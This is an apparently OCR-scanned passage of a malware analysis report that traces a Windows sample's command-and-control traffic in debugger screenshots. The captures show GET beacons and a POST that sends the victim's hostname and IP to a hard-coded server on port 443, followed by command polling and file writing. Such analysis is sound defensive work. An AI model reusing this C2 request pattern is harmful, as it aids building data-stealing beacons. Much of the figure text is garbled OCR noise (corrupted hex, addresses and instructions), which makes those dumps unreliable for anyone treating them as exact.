Hobump1l  @pump2 @ Dump3 @Y Dump4 @ Dump s @ watch1  Iv=ILocals 4 struct 1FEDB O3FEQ284 | "GET

Address | Hex ASCIT 0013FEDC | 00000122

~
O3FEO384 [[4F] 45 54 20|68 74 74 70(3A 2F 2F 31|32 31 2E 31|GET http://121.1 %}EEEE? m —re—
O03FEQ394 |32 37 2E 32 (34 39 2E 37|34 3A 34 34|33 2F 63 78| 27.249.74:443/CX [][]J.EFEES 67186BBS aﬂt E
03FEO3A4| 67 69 64 2F |44 45 53 4B(54 4F 50 2D |32 43 33 49|gid/DESKTOP-2C3I 0019FEEC | 0019FEFC g
O3FEO3B4 (51 48 4F 2F|32 31 35 38(32 37 34 37|35 32 2F 32 |QHO/2158274752/2 0019FEF0| 671BBE8O | apt. €
03FEO3C4 |31 35 38 32|37 34 37 35(32 30 2F 62|6E 64 65 78|1582747520/index Ui]lSFEF4 00000000 =
03FEO3D4|2E 70 68 70|20 48 54 54|50 2F 31 2E|30 0D 0A 41|.php HTTP/1.0..A O019FEFS | 03FED284 | "GET
03FEO3E4| 63 63 65 70|74 3A 20 2A|2F ZA 0D 0A|41 63 63 65|ccept: */*..Acce O019FEFC | 0019FF2C
O3FEO3F4|70 74 2D 4C (61 6E &7 75|61 &7 65 3A(20 65 6E 2D | pt-Language: en- 0019FF00|[67186CEL| retur
03FEDQ404 |75 73 OD OA|48 6F 73 74|3A 20 31 32|31 2E 31 32| us..Host: 121,12 0019FFo4 || co1eEEz 4| Point
03FEO414 |37 2E 32 34|39 2E 37 34|3A 34 34 33|0D 0A 50 72|7.249.74:443..Pr oo19FFos|| 67186079 aﬁ-t E
03FED424| 61 67 6D 61|3A 20 6E 6F (2D 62 61 63|68 65 0D OA|agma: no-cache.. 0019FFoC || oo19eFFzC i§
03FEO434 |55 73 65 72|2D 41 67 65(6E 74 3A 20|4D 6F FA 69| User-Agent: Mozi 0019FF10|| 671912F0 apt.E
03FEO444 | 6C 6C 61 2F|34 2E 30 20|28 63 6F 6D |70 61 74 6%|11a/4.0 (compati L'Il.:]J.BFFJ.-t 00308000 =
03FEO454| 62 6C 65 3B|20 4D 53 49|45 20 37 2E|30 3B 20 57|ble; MSIE 7.0; W no19FF1s || oooooooo
03FE0D464 (69 6E 64 6F |77 73 20 4E(54 20 35 2E|31 3B 20 53|indows NT 5.1; S no19FFLc || ooo1sFa0
03FEO474|56 31 29 OD|0DA 43 6F GE(74 &5 G6E 74|20 4C 65 &E|V1l)..Content-Len no1orezo |l oooooooL
03FE0484| 67 74 68 3A|20 30 0D OA|43 6F 6E 6E|65 63 74 69| gth: 0..Connecti =

9FE? "
03FED494|6F GE 3A 20|4B 65 65 70(2D 41 6C 69|76 65 0D OA|on: Keep-alive.. BOTIEES | D2EERZESPOS

Figure 45

The malware reads the response from the server using the recv function, byte-by-byte (the length parameter is 1). It
stops when the result contains “\x0d\x0a\x0d\x0a” (2 new lines characters in Windows) and it checks to see if the

response contains “200 OK”, which means that the connection was successfully established:

6A 00 push 0 XB7T

! L]
! - 6A 01 push 1
! . 8B 45 F4 mov eax,dword ptr ss:[febp-Cj ®*8751
! 1] 8D 44 30 FF lea eax,dword ptr ds:[eax+esi-1] XB7 5
1 ] 50 push eax X875
1 . 8B 45 FC mov eax,dword ptr ss:|[ebp-4] X875
L . 50 push eax o1
EIP g E8 7D E2 FF FF €8l <apt.recv> W [—
! P s
i * 2 = Default
A=REE
<apt.recv> 2: fe
3: [e
4: [e
CODE: 671863B6 apt.exe:$63B6 #S57E6 [——
Woump1  @oump2  Woump3  WWoumps  @4oumps @ watth1  ellocals ) stuct  [ooronase anEog;ﬂ

0019FAS0 | 00000001
0019FAD4

AnanCAnol nnearcna

|address | Hex | ascIz
| 03FEO894 @@ 00 00 00[E4 BS 18 e7[F4 BS 18 67[64 37 00 00[L...ouW.qdu.ad7..|

Figure 46

There is also a second comparison between the response and the “!!” string (if the result doesn’t contain “!!”, then the

process performs a closesocket API call):
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bl e 5

CODE:67186CES push 64h ; 'd’ ; dwMilliseconds

CODE:67186CE7 call Sleep

CODE:67186CEC lea edx, [ebptvar_14]

CODE:67186CEF mov eax, [esi]

CODE:67186CF1 call sub_B7186334

CODE:67186CF6 mov eax, [ebptvar_14]

CODE:67186CF9 mov edx, offset str_ 3.Text ; !! string

CODE:67186CFH call @system@@LstrCmpEqqry ; System::_ linkproc_ LStrCmp(void)

CODE:67186D83 jz short loc_67186D19

1 Y
M7=
CODE:67186D19
CODE: 67186019 loc_67186D19:
CODE: 67186019 push 64h ; 'd’
CODE:67186D1B call Sleep
CODE: 67186028 mov edx, [ebp+var
CODE: 67186023 mov eax, [esi]
CODE: 67186025 call sub_67156B68
CODE:67186D2A test al, al
CODE:67186D2C 1z short loc 671
Figure 47

The hostname and the IP address of the local machine are exfiltrated to the C2 server using a POST request. The

SessionID parameter is randomly generated:

P . 6A 00 push 0
L ] 8B 45 FC mov eax,dword ptr ss:|[[ebp-4]
o i L E8 BF CB FF FF €all apt.6718374C
! ! . S0 push eax
! ! . 8B 45 FC mov eax,dword ptr ss:|Jebp-4]
1l L E8 B&6 CD FF FF call apt.&718394C
i - 50 push eax
:: - 56 push esi
Eﬂ—:—!—h E8 A3 DA FF FF €all <apt. send>
.
<apt.send=

CODE: 67186898 apt.exe: §6B98 #5F938

[REEFSEY 00000238 |
@Woump1 | @pump2z  @oump3  @oump4  @Houmps @ watchi  I=lLolal fGoaoeEns | 03FED 20 | “POST
Address | Hex ASCIT & || POL2FEDC [ 0O0O0167

D3FEQ720|50 4F 52 54|20 2F 62 78|70 69 &4 2F|72 75 62 6D |POST /cxpid/subm gﬁ}gﬁggg gggggggﬂ et
D3FE0730|69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44it.phprsessionID 0019FEED | 67126EEE | apt. &
D3IFE0740|3D 36 37 20|48 54 54 50|2F 31 2E 30|0D OA 48 6F =67 HTTP/1.0..Ho sramiead i :
D3IFEO7S0|73 74 3A 20|31 32 31 2E|31 32 37 2E(32 34 39 2E(st: 121.127.249. DD19FEFD| 67188680 | apt. &
03FEO760| 37 34 3A 34|34 33 0D DA|S5 73 65 72(2D 41 67 65|74:443,,User-Age Fi GEERT | DtaaRnss
D3FEQ770|6E 74 3A 20|4D 6F 7A 69|6C 6C &1 2F|34 2E 30 20|nt: Mozilla/4.0 SHiBEEL S| D3FEnas trasT
D3IFEO7B0| 28 63 G6F 6D |70 61 74 69|62 6C 65 3B|20 4D 53 49 (compatible; MsI s i e
D3IFE0790| 45 20 37 2E|30 3B 20 57|69 GE 64 GF|77 73 20 4E(E 7.0; wWindows N BOIBEEDG FEFA RES TS| Falbai
D3IFEOTAD|S4 20 35 2ZE|31 3B 20 53|56 231 29 OD|0A 41 63 63|T 5.1; SV1)..Acc Boiarro | aaiseEsa ety
D3FEQ7BO| 65 70 74 3A|20 2A 2F 2A|0D DA 41 63|63 65 70 74|ept: */*..Accept 0019FF08 || 67126079 apt. &
D3FED7CO|2D 4C 61 GE[67 75 61 6765 3A 20 65(GE 2D 75 73|-Language: en-us BBTSEERE | GaisEEae
D3FEO7DO| 0D 0A 43 &F|6E 6E 65 63|74 69 6F GE[3A 20 4B 65|..Connection: Ke 0019FF10 || 67191270 apt. Er
D3IFEOTED| 65 70 2D 41|6C 69 76 650D 0A 43 6F|GE 74 65 &E|ep-Alive..Conten R GEET | B BRoaE :
D3FEQ7FO|74 2D 54 79|70 &5 2A 20|74 65 78 74|2F 68 74 &D|t-Type: text/htm i | shomtngn
D3FEQB00|6C 0D DA 43|6F G6E 74 65|GE 74 2D 4C|g% GE 67 7a4(1..Content-Lengt BHHEEAE | bSbT=Ean
D3IFE0SI0| 68 3A 20 31|30 39 0D 0A|0D OA 3C 63|74 6D &C 3E|h: 109....<htmls EHiHE Lot | ohaarai
D3IFE0S20|3C 68 65 61|64 3E 3C 74|69 74 &C 65|3E 52 65 73|<head=<titlexRes i EEES | BIEERT IR e
D3FE0S30|75 6C 74 3C|2E 74 €9 74|6C 65 23E 3C|2F 68 65 6l|ult</titlex</hea BHAHEES% | B Eha R eETR
D3FE0S40| 64 3E OD 0A|3C 62 GF 64|79 3E 3C 68|34 3E 44 45 |d>..<body><h4>DE BhTSEESE UbnsBrECE
D3FE0S50|53 4B 54 4F |50 20 32 I ZF 32 31| SKTOP-2E— 1 et o e e e
D3IFE0SE0|35 38 32 37|34 37 35 32|2F 32 31 35|38 32 37 34|58274752,/2158274 RO GEr | DA BEE Es e ity
D3FE0S7O| 27 35 22 20|3C 2F 68 34|3E 2C 2F 62|6F 64 79 3E(|7520</h4></body> 5

> Q B E .-_'
D3FE0880|3C 2F 68 74|60 6C 3E 00|E4 BS 18 67|F4 Bs 18 67| </html>.op.gop.g| W | DDL3FF38|| 671830AE) apt. &

Figure 48

As before, there are multiple recv function calls following the POST request, and the process expects the response to
contain “200 OK” and “Success”. If it doesn’t, then there is a Sleep call for 90 seconds and it tries again. A new

thread is created using the CreateThread function:
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50 push eax

] D
. E 6A 00 push 0 :g
. i} 6A 00 push 0
. 2 68 64 83 18 &7 push apt.&67188364 X8
. 7 6A 00 push 0
™ El 64 0D push 0 —x2
EIP g 1 ES DB B4 FF FF call <apt.CreateThread: v
. e ; Def
>__mm
<apt.CreateThreads 5:
3:
4:
CODE: 67189058 apt.exe:$9058 #8458
00000000
Goump1 | @loumpz @Woump3  @loumps  @Woumps @ warhi1 | x=liofall [Go1omee0 | 00000000
DO19FF24 | 67188364 | apt.67188364
Address Hex_ = : ASCII | ~| polarras
67186B58|53 75 63 63|65 73 73 00|55 8B EC 51|53 56 89 55 Successég.wi\-.u Siiiesn WNNNW
67186E68 | FC 8B FO 8B|45 FC EB C3|CD FF FF 33|C0O 55 &8 BB|0.D.ElUEElyy3Auh,
ATIARRTARI| AR 1A AT AR4AIFF 2N A4 ASl2n 2T NR &alnn AR 48 Bk addend ):K'i Fil DO13FF30| 0013FFSS

Figure 49
Thread activity

Some parameters used in the network communications like “id” and “SessionID” are generated by a function called

“Randomize”:

P

3 Attributes: library function

; _DWORD _ cdecl System::Randomize()
@SystemiRandomize$qgrv proc near

var_8= dword ptr -3

add esp, @FFFFFFF8h

push esp ; lpPerformanceCount
CODE:67182620 call QueryPerformanceCounter

test eax, eax

jz short loc_67182634

1
] L

il =0 ull =0
mov eax, [esp+B+var_3]
mov ds:dword 67134883, eax loc_67182634:
pop ecx call GetTickCount
pop edx mov ds:dword_B713AB88, eax
retn pap eCx
pop edx
retn

@SystemiRandomize$qqrv endp

Figure 50

It’s important to mention that some HTTP headers are just decrypted before the network communication is performed
using the algorithm described in the first paragraphs. The sample performs another GET request using the send

function:
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b B 6A 00 push 0
i - BE 45 FC mov eax,dword ptr ss:[febp-4f
Ity . E8 EF CB FF FF €& apt.6718374C
i . 50 push eax
! i . BB 45 FC mov eax,dword ptr ss:[febp-4]
i . ES8 B6 CD FF FF €81 apt.6718394C
! ! . 50 push eax
A ®| 67136897 56 push esi
EIP e T ES A3 DA FF FF €all <apt.sends-
B ¢/ 67186830 43 dec eax
| r----®| 67186BIE| ~ 7C 02 j1 apt.&7186BA2 v
bl el >
b e e
<apt.sends>
CODE: 67186898 apt.exe: {6898 #5F98

i i) 00000190
W@Woumpt  @Wpumpz  @Woump3  @loump4  @lpumps @8 watch1 | Ix=llocals 4 P ()4?10[)? O3FED904 | "GET

Address | Hex ASCIT ~ |Bazannsa  oonnouED
D3FE09D4|47 45 54 20|68 74 74 70|3A ZF 2F 31|32 31 2E 31| GET http://1zl.1 e EETTYE
D3FEO9E4|32 37 2E 32|34 39 2E 37 (34 3A 34 34|33 2F 71 75|27.249.74:443/qu
O3FE09F4|65 72 79 2E|70 68 70 3F (69 64 3D 34|36 33 20 48|ery.php?id=463 H
O3FEDAD4 |54 54 50 2F |31 2E 30 0D (DA 41 63 63|65 70 74 3A[TTP/1.0..Accept:
DIFEOAL4 |20 2A 2F 2A[0D 0A 41 63 (63 65 70 74|2D 4C 61 6E| +/*..Accept-Lan
D3FEQA24|67 75 61 67|65 3A 20 65(6E 2D 75 73|0D DA 48 6F |guage: en-us..Ho
O3FEQA34|73 74 3A 20|31 32 31 2E(31 32 37 2E|32 34 39 2E|st: 121.127.249,
O3FEQA44|37 34 3A 34|34 33 0D 0A|50 72 61 &7|&D 6L 3A 20|74:443..Pragma:

O3FEQAS4|6E GF 20 63|61 63 68 650D DA 55 73|65 72 2D 41|no-cache..User-A
O3FE0AG4|67 65 6E 74|3A 20 4D 6F [7A 69 6C &6C|61 2F 34 2E|gent: Mozilla/4.
D3FEDA74|30 20 28 63|6F 6D 70 GL|74 69 62 GC|65 3B 20 4D |0 (compatible; M
D3FEDAS4|53 49 45 20|36 2E 30 3B(20 57 69 GE|64 GF 77 73|SIE 6.0; Windows
D3FEOA94|20 4E 54 20|35 2E 31 3B(20 53 56 31|29 0D DA 43| NT 5.1; Sv1)..C v

D3FEDAA4|G6F GE GE 65|63 74 69 6F [6E 3A 20 4B|65 65 70 2D |onnection: Keep- e |erabeatd art
O3FEDAB4|41 6C 69 76|65 0D OA 0D |0A 00 00 0O|E4 BS 18 &7 [ATive....... 8. g || It

0471DDE0 | 047 1DDAO ( PoOi
04710084 | 67186BBES | apt..
0471DD3E | 0471DD98
0471DDEC | 67188364 | apt.!
047 1DD 20 [ 00000000
04710094 | 03FEQ9D4 | "GET
0471DD9E | 047 1FFE0
04710039C [F67188398| retul
0471DDA0D | 047 AFFCC| Poimne
04710DA4 | 67188B9A| apt..
0471DDAE || 047 LFF80
0471DDAC | 67188364 | apt..

Figure 51

The file reads the response from the server using the recv function, byte-by-byte. It expects again a “200 OK” string

@y

and as opposed to before, it expects the response not to contain (if it does, the malware exits):

! ®| 671863A 6A 00 push o
! ®| 6G71863A8 64 01 push 1
! ®| 571363AA BE 45 F4 mov eax,dword ptr ss:|[febp-CJ
! ®| 671863AD 8D 44 30 FF lea eax,dword ptr ds:[eax+esi-1]
| ®| 671863B1 S0 push eax
! ®| 67186382 BB 45 FC mov eax,dwerd ptr ss:|[febp-4]
! ®| 57186385 S50 push eax
EIP purey L E8 7D E2 FF FF E&T11 <apt.recv>
! . BE DB mov ebx,eax
! LI >
<apt.recv>
CODE: 671863B6 apt.exe: $63E6 #57E6

ioumpi  pump2  Wpump3  UMDump4  WWDumps @ watch1  x=llocals 4 W 0D471D928

|Address | Hex | ASCII [ g:;gggg
| 03FEOACC |00l 00 00 OO[E4 BS 18 €7(E4 BS 18 €7[2C 35 00 00[L...O0M.Q0M.Q,5.. | e T e
Figure 52

The process parses the response from the C2 server for an integer corresponding to a command that has to be

executed. It implements 8 different commands, as shown in figure 53:
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CODE : 6718845F call unknown_libname 66 ; BDS 2@85-2087 and Delphi6-7 Visual Component Library
CODE: 67188464 mov ebx, eax

CODE:67188466 lea eax, [ebpt+var_24]

CODE : 67188469 push eax

CODE:6718846A mov ecx, ebx

CODE:6718846C dec ecx

CODE: 67188460 mov edx, 1

CODE: 67188472 mov eax, [ebp+var_38]

CODE: 67188475 call @system@@LstrCopydqqry ; System::_ linkproc__ LStrCopy(void)

CODE: 67188474 lea eax, [ebp+var_3@]

CODE: 67188470 mov ecx, ebx

CODE:6718847F mov edx, 1

CODE: 67188484 call @system@@Lstrieletedqqry ; System::_  linkproc__ LStrDelete(void)

CODE: 67188439 mov edx, [ebp+var_3@]

CODE:6718843C mov eax, offset _str__ 16.Text

CODE: 67188491 call unknown_libname_66 ; BDS 28@5-2087 and Delphi6-7 Visual Component Library
CODE: 67188496 mov ebx, eax

CODE:67188498 lea eax, [ebpt+var_28]

CODE:67188498 push eax

CODE : 6718849C mov ecx, ebx

CODE:6718849E dec ecx

CODE : 6718849F mov edwx, 1

CODE:671884A4 mov eax, [ebpt+var_38]

CODE:671884A7 call @system@iiLstrCopy$qqry ; System::_ linkproc_ LStrlopy(woid)
CODE:671884AC mov eax, [ebpt+var_1C]

CODE:671884AF call unknown_libname_ 75 ; BDS 28@5-28087 and Delphi6-7 Visual Component Library
CODE:671884B4 cmp eax, 7 3 switch & cases

CODE:671884B7 ja def_&71884BD 5 jumptable 671884BD default case
Figure 53

Case1-EAX =0

The process sends a POST request to the server that contains a similar HTML document, however the exfiltrated
information is different. The following bytes can be highlighted: CF 83 CD 83 CF 83, on which we can apply a NOT
operation and obtain 30 7C 32 7C 30 7C (0|2|0)):

i = 6A 0O push 0
:: L 8B 45 FC mov eax,dword ptr ss:|[lebp-4]
[ L E8 BF CB FF FF €all apt.67138374C
' . 50 push eax
:: & 8B 45 FC mov eax,dword ptr ss:febp-4]
1! ] ES8 B6 CD FF FF E&T apt.6718394C
1 ! - 50 push eax
:: L 56 push esi
Eg——— ES A3 DA FF FF call <apt.send>
' l 45 dec eax
1 or---e |l 67 ~ 7C 02 j1 apt.&7186BAZ
e L
Lo g b

<apt.send>

CODE: 67186B95 apt.exe:$6B95 #5F35

 EZEEGEEL] 00000190 |
Woumpl  @pumpz  @Hoump3  @loump4  Wpumps @ watthi | Ix-llocals 4 PPGETapoT4 | 03EEODSO
PP e i ~ || p471DD78 | DODOD1 46

03FEODS0 (50 4F 53 54|20 2F 63 78|70 69 64 2F|73 75 62 6D |POST /cxpid/subm s e
D3FEODG0| 63 74 2E 70(68 70 3F 53|65 73 73 69|6F GE 49 44|it.phprSessionID 04-10D54 | 67 1BEERE
D3FEOD7O|3D 36 32 20(48 54 54 50|2F 31 2E 30|0D 0OA 48 6F|=62 HTTF/1.0..Ho 0471DDES | 0A71DD 98
D3FEODS0(73 74 3A 20(31 32 31 2E(31 32 37 2E(32 34 39 2E|st: 121.127.249. 047 1DDEC | HO0DODDD
D3FEOD90| 37 34 3A 34(34 33 0D OA|55 73 65 72|20 41 67 65|74:1443..User-age 04710090 | DO0OCD00
O3FEODAC| 6E 74 3A 20|4D 6F 7A 69|6C 6C 61 2F|34 2E 30 20|nt: Mozilla/4.0 - nnsi| DIErinoh
O3FEODBO| 28 &3 6F 6D (70 61 74 69|62 6C 65 3E|20 4D 53 49| (compatible; MsI 04710035 | 047 1FEA0
D3FEODCO | 45 20 37 2E(30 3B 20 57|69 6E 64 6F|77 73 20 4E|E 7.0; windows N 0471DD5C [r67 183584
D3FEODDO |54 20 35 2E(31 3B 20 53|56 31 29 OD|0A 41 63 63|T 5.1; S5V1)..Acc N aninaG | Gasarcee
D3FEODED| 65 70 74 3A[20 2A 2F 2A|0D DA 41 63|63 65 70 74|ept: */*..Accept el e ety
D3FEODFO| 2D 4C 61 6E(67 75 61 67|65 3A 20 65|6E 2D 75 73|-Language: en-us S anianll B e
O3FECEOO | OD 0A 43 6F(6E GE 65 63|74 63 6F 6E|3A 20 4B 65 |..Connection: Ke tasannie | exraaaen
O3FECEL0| 65 70 2D 41(6C 69 76 65 |0D DA 43 6F|6E 74 65 GE|ep-Alive..conten 04710080 || 67183364
D3FEQE20|74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D|t-Type: text/htm p4=10084 | 00000000
D3FEQE30|6C 0D 0A 43|6F G6E 74 65|6E 74 2D 4C |65 GE &7 74|1..Content-Lengt G inbbs || babonesn
D3FEOE40| 68 3A 20 37(37 0D OA OD|DA 3C 68 74|6D 6C 3E 3C|h: 77....<html>< Hanh || Gontoa
O3FEQES0| 68 65 61 64[3E 3C 74 69|74 6C 65 3E|52 65 73 75|head><title>Resu i inni || Doonoa
O3FEOEGD | 6C 74 3C 2F(74 69 74 6C|65 3E 3C 2F|68 65 61 64| 1t</titles</head - inne i | DenrResn
O3FECE7O|3E OD 0A 3C(62 6F 64 79|3E 3C 68 34|3E CF 83 CD|»,.<body»<ha>I.1 b4 ihne || bhconnon
O3FECES0| B3 CF 83 3C|2F 68 34 3E|3C 2F 62 6F|64 79 3E 3C|.I.</h4></bodys>< :

b o - - 047100CC | 00000000
D3FEOES0| 2F 68 74 6D |6C 3E 00 OO |E4 BS 18 67 |F4 BC 18 67 /Irjtm'l:»..op.gup.g ¥ b7 10000 | oooonooo

Figure 54
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The reponse from the server is received using the recv function. If the connection was successful, the process expects

a “200 OK” string and also “Success”, as shown below:

CODE: 671864848 call unknown_libname_63 ; BDS 28@5-2087 and Delphi6-7 Visual Component Library
CODE: 67186440 mov eax, [ebptvar_44C]
CODE:67186A53 mov edx, esi
CODE :6718B6A55 pop ECH
CODE:67186A56 call @system@@LStrlopy$qqry ; System::_ linkproc_ LStrCopy(void)
CODE:67186A5B mov eax, [ebptvar 448]
CODE:67186A61 mov edx, offset _str_Success.Text ; Success
CODE:67186A66 call @system@@lLStrimpfgqryv ; System::_ linkproc__ LStrCmp(void)
CODE:67186A6B jnz short loc_G7186A71
Figure 55

There is another GET request to the CnC server performed by the malicious process:

&A 0D push 0
BB 45 FC mov_eax,dword ptr ss:|[Jebp-4]
7186B88 ES8 BF CB FF FF €all apt.6718374C
7186B8D 50 push eax
7186B8E BB 45 FC mov_eax,dword ptr ss:|ebp-4]
7186B91 E8 B6 CD FF FF £all apt.6718394C
7186B96 S0 push eax
7186B97 56 push esi
E& A3 DA FF FF c2ll <apt.send>
7186B9D 48 dec eax i
71BGE3E ~ FC 02 j1 apt.&7186BA2 i
>
CODE: 67186E98 apt.exe: $6B98 #5F38
& 0471D ] 000001930
24 Dump 1 WY Dump 2 @4 Dump 3 @Y Dump 4 Y Dump 5 @ Watch 1 [x=] Locals ¥ !?’ 0471DD7 4 | 03FEOFCY | "GET
e e ASCIT A || 0471007 8| D0OODODES

O3FEOFC4 |47 45 54 20|68 74 74 7O|3A 2F 2F 31|32 31 2E 31|GET http://121.1 OTATOPE

D3FEOFD4 |32 37 2E 32|34 29 2E 37|34 3A 34 34(33 2F 71 75|27.249.74:443/qu
D3FEOFE4 |65 72 79 2E|70 68 70 3F |69 64 3D 33|34 34 20 48|ery.phprid=344 H
D3FEOFF4 |54 54 50 2F|31 2E 30 OD|0DA 41 62 63|65 70 74 3A|TTP/1.0..Accept:
D3FE1004 |20 2A 2F 2A|0D OA 41 63|63 65 70 74(2D 4C 61 6E| */*..Accept-Lan
D3FE1014|67 75 61 67|65 3A 20 65|6E 2D 75 73|0D 0A 438 6F |guage: en-us..Ho
O3FE1024|73 74 3A 20|31 32 31 2E(31 32 37 2E(32 34 39 2E(st: 121.127.249.
D3FE1034|37 34 3A 34|34 33 0D DA|50 72 61 676D 61 3A 20|74:443..Pragma:
D3FE1044|6E 6F 2D 63|61 63 68 65|00 0A 55 73|65 72 2D 41|no-cache..user-A
D3FE1054|67 65 GE 74|34 20 4D 6F |[7A 69 6C 6C|61 2F 34 2E|gent: Mozilla/4.
D3FE1064|30 20 28 63|6F 6D 70 61|74 69 62 GC|65 3B 20 4D|0 (compatible; M
D3FE1074|53 49 45 20|36 2E 30 3B|20 57 69 GE[64 6F 77 73|SIE 6.0; Windows
D3FE1084 |20 4E 54 20|35 2E 31 3B|20 53 56 31(29 0D DA 43| NT 5.1; SVi)..C 2

D3FE1094|6F GE GE 65|63 74 63 GF|GE 3A 20 4B|65 65 70 2D|onnection: Keep- gjgigggﬂ gg%ggggg EREE)
D3FE10A4 |41 6C 69 76|65 OD OA OD|0A 00 00 00|E4 BS 18 &7|Alive....... du. g S anne s | RS

0471DDE0 | 0471DDA0O | Poimnt
0471DDE4 | 67186BES8 | apt. ¢
0471DDES | 0471DD 98
047100 &C | 00000000
04710020 | 00000000
0471DD94 | 03FEOFC4 | "GET
0471DD28 | 0471FF80
0471DD9C [671885ED | retur
0471DDAD || 047 1FFCC| Point
0471DDA4 || 67188B9A| apt. ¢
0471DDAE || 0471FF80
0471DDAC || 67188364 | apt. ¢

Figure 56

The response from the server is expected to be larger this time (0x1000 = 4096 bytes):
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®| 67188615 &eA 00 push 0
®| 67188617 &8 00 10 00 00 push 1000
®| 6718361C 8D 85 C8 DF FF FF lea eax,dword ptr ss:[[ebp-z032&]
®| 67158622 S0 push eax
#| 67188623 Al EO AD 18 &7 mov eax,dword ptr ds:[6718A0EQ]
®| 671886258 8B 00 mov eax,dword ptr ds:[eax]
| 67158624 S0 push eax
EIP > ES8 08 CO FF FF €811 <apt.recv=
] 89 45 FO mov dword ptr ss:febp-10§,eax
L ]
<apt.recwv>
CODE: 67188628 apt.exe: $862B #7AZB
;) [EEEETEER] 00000130
WWoump1  @Wipump2z  WWpump3  @Wpump4  WHoumps @ watth1  Iellecals 4 W Garinood c._,,mﬂg
Address | Hex ASCII ~ e | st
0471DF48 00y 00 00 00|00 00 00 00|00 OO0 OO0 00|00 OO0 OO0 00| M. s s ennnnsnnnns 04710DA0 | 047 LEFCC
0471DF58 | 00 0O OO OO0|00 00 00 Q0|00 OO0 00 00|00 OO0 OO0 00| .. .esennnnsnnnns 04710DA4 | 67188B9A
0471DF6&8 |00 00 OO OO(00 OO0 OO0 00|00 00 OO0 00|00 OO0 00 00| cuseeeneensanunns 0471DDAS | 047 1FF80
0471DF78| 00 0O OO0 00|00 00 00 00|00 00 OO0 OD|(0D OO0 OO0 00| @u s ennnnsnnnns 047 10DDAC | 67188364
0471DF88 | 00 0O OO0 OO|00 00 00 00|00 OO0 OO0 000D OO0 OO0 00| .. .esennnnannnas 04710DB0| 67188364
0471DF93 |00 00 OO0 OO(00 OO0 OO0 00|00 00 OO0 O0|00 OO0 OO0 00| cuseeeeeennannns 047100E4 | 00000000
0471DFAS | 00 OO OO 00|00 OO0 00 Q0|00 00 00 QD00 OO OO0 00| .. .vsennnnsnnnns 04710DEE | 00000000
0471DFBS | 00 0O OO0 OO0|00 00 00 00|00 OO0 OO0 OOD(00D OO0 OO0 00| .. .esennnnnnnnns 047100DEC | 00000000
0471DFCS8 |00 OO OO 00|00 OO0 00 Q00|00 OO0 OO0 O0OD|0D OO 00 00| .. .cuevennnannns 04710DC0 | 0DO00DOD
0471DFDS |00 00 OO OO(00 OO0 OO0 00|00 00D OO0 00|00 OO0 OO0 00| cuseeeeeennnnnns 047100C 4 | 00000000
0471DFES |00 OO OO OO0|00 00 00 00|00 00 OO0 00|00 OO0 00 00| .. .esennnnsnnnns 047100 8 | ooooooo0
0471DFF8 | 00 0O OO0 00|00 00 00 00|00 00 OO0 000D OO0 OO0 00| .. .esennnnsnnnns 047100CC | 00000000
0471E008 |00 00 OO CO(00 OO OO Q00|00 OO0 OO0 OO|O0 OO0 OO0 OO cuueeeeeennnnnns 04710000 | 00000000
0471018 |00 OO OO OO|00 OO OO Q0|00 OO0 OO0 OOD(OD OO OO0 00| . ..usennnnnnnnans 04710004 | 00000000
0471028 | 00 0O OO0 OO0|00 OO0 00O Q00|00 OO0 OO0 OD(0D OO OO0 00| .. .esennnnsnnnns 0471000 | 00000000
0471E038 |00 00 OO OO(00 OO0 OO0 00|00 OO0 OO0 OO|00 OO0 OO0 OO cuseeeeennnannns 0471000C | 0OGO0D0D
0471E048 |00 00 OO0 OO(00 OO0 OO0 Q0|00 OO0 OO0 OO|O0 OO0 OO0 OO cuseeeeeennannns 047100DEC | 00000000
0471E058 | 00 0O OO OO|00 OO0 OO0 Q00|00 OO OO0 OD(0D OO OO0 00| .. .cesennnnnnnnns 04710DE4 | 00000000
0471E068 |00 0O OO OO0|00 00 00 Q0|00 OO0 OO0 OD(O0D OO0 OO0 00| .u.esennnnsnnnas 04710DES | 00000000
0471E078 |00 00 OO0 OO(00 OO OO 00|00 OO0 OO0 OC|00 OO0 OO0 00| cueeeeeeennnnnns 0471DDEC | 00000000
D O e e e ¥ | 0471pDF0| 03FEOFCA

Figure 57

The response from the server is written to a file specified by a handle transmitted by the C2 server (in our case, this

was 0 because we’re trying to emulate the C2 server communications). The WriteFile API call is presented below:

i ®| 67138292E 6A 0O push 0
) L 7 8D 45 FC 1ea eax,dword ptr ss:[lebp-3]
g . S0 push eax
| . 8B 43 08 mov eax,dword ptr ds: [ebx+8]
' L] F7 EE imul esi
1 N 50 push eax
1 . 57 push edi
1 . 8B 03 mov eax,dword ptr ds:[ebx]
1 . 50 push eax
TP g s £ FF 55 0C call dword ptr ss:[ebp+C] ¥
! & Frr=ErTS o PP
'
4

dword ptr [ebp+C]=[0471DD84 <&wWriteFile>]=<apt.writeFilex»

CODE: 6718293E apt.exe: $293E #1D3E

2

@owmp1  @Woump2  @Woump3  @doump4  @Woumps @ watch1 | Ix=llocals 4 P 03710058 | 04710F48 | ™
] BT it 0471DD5C | 00000100

oy

0471DF48 |41 41 41 4141 41 41 4141 41 41 41]41 41 41 41| BAAAAAAAAAAAAAAA g:;igggﬂ ST Y
0471DF58 |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAA TTEITTTE gggggggg
0471DF6S| 41 41 41 41 (41 41 41 41[41 41 41 41[41 41 41 41| AAAAAAAAAAARAAAA i AT o RorEneG
0471DF78 |41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAARAAAA AN DoGhODE0
0471DF88 |41 41 41 41 (41 41 41 41(41 41 41 41[|41 41 41 41| AAAAAAAAAAARANAA Bt Chotoa G
0471DF98 | 41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAARAAAA BN s Garan0Ga
0471DFAS |41 41 41 41 (41 41 41 41[41 41 41 41[|41 41 41 41| AAAAAAAAAAARAAAA B InnE FEa e a0 | EEE
0471DFES |41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAA i intad | benoooes

0471DFCS |41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAA narionas | 67182900 | apt
0471DFDS| 41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAA Bizinns s | booto 2 a5

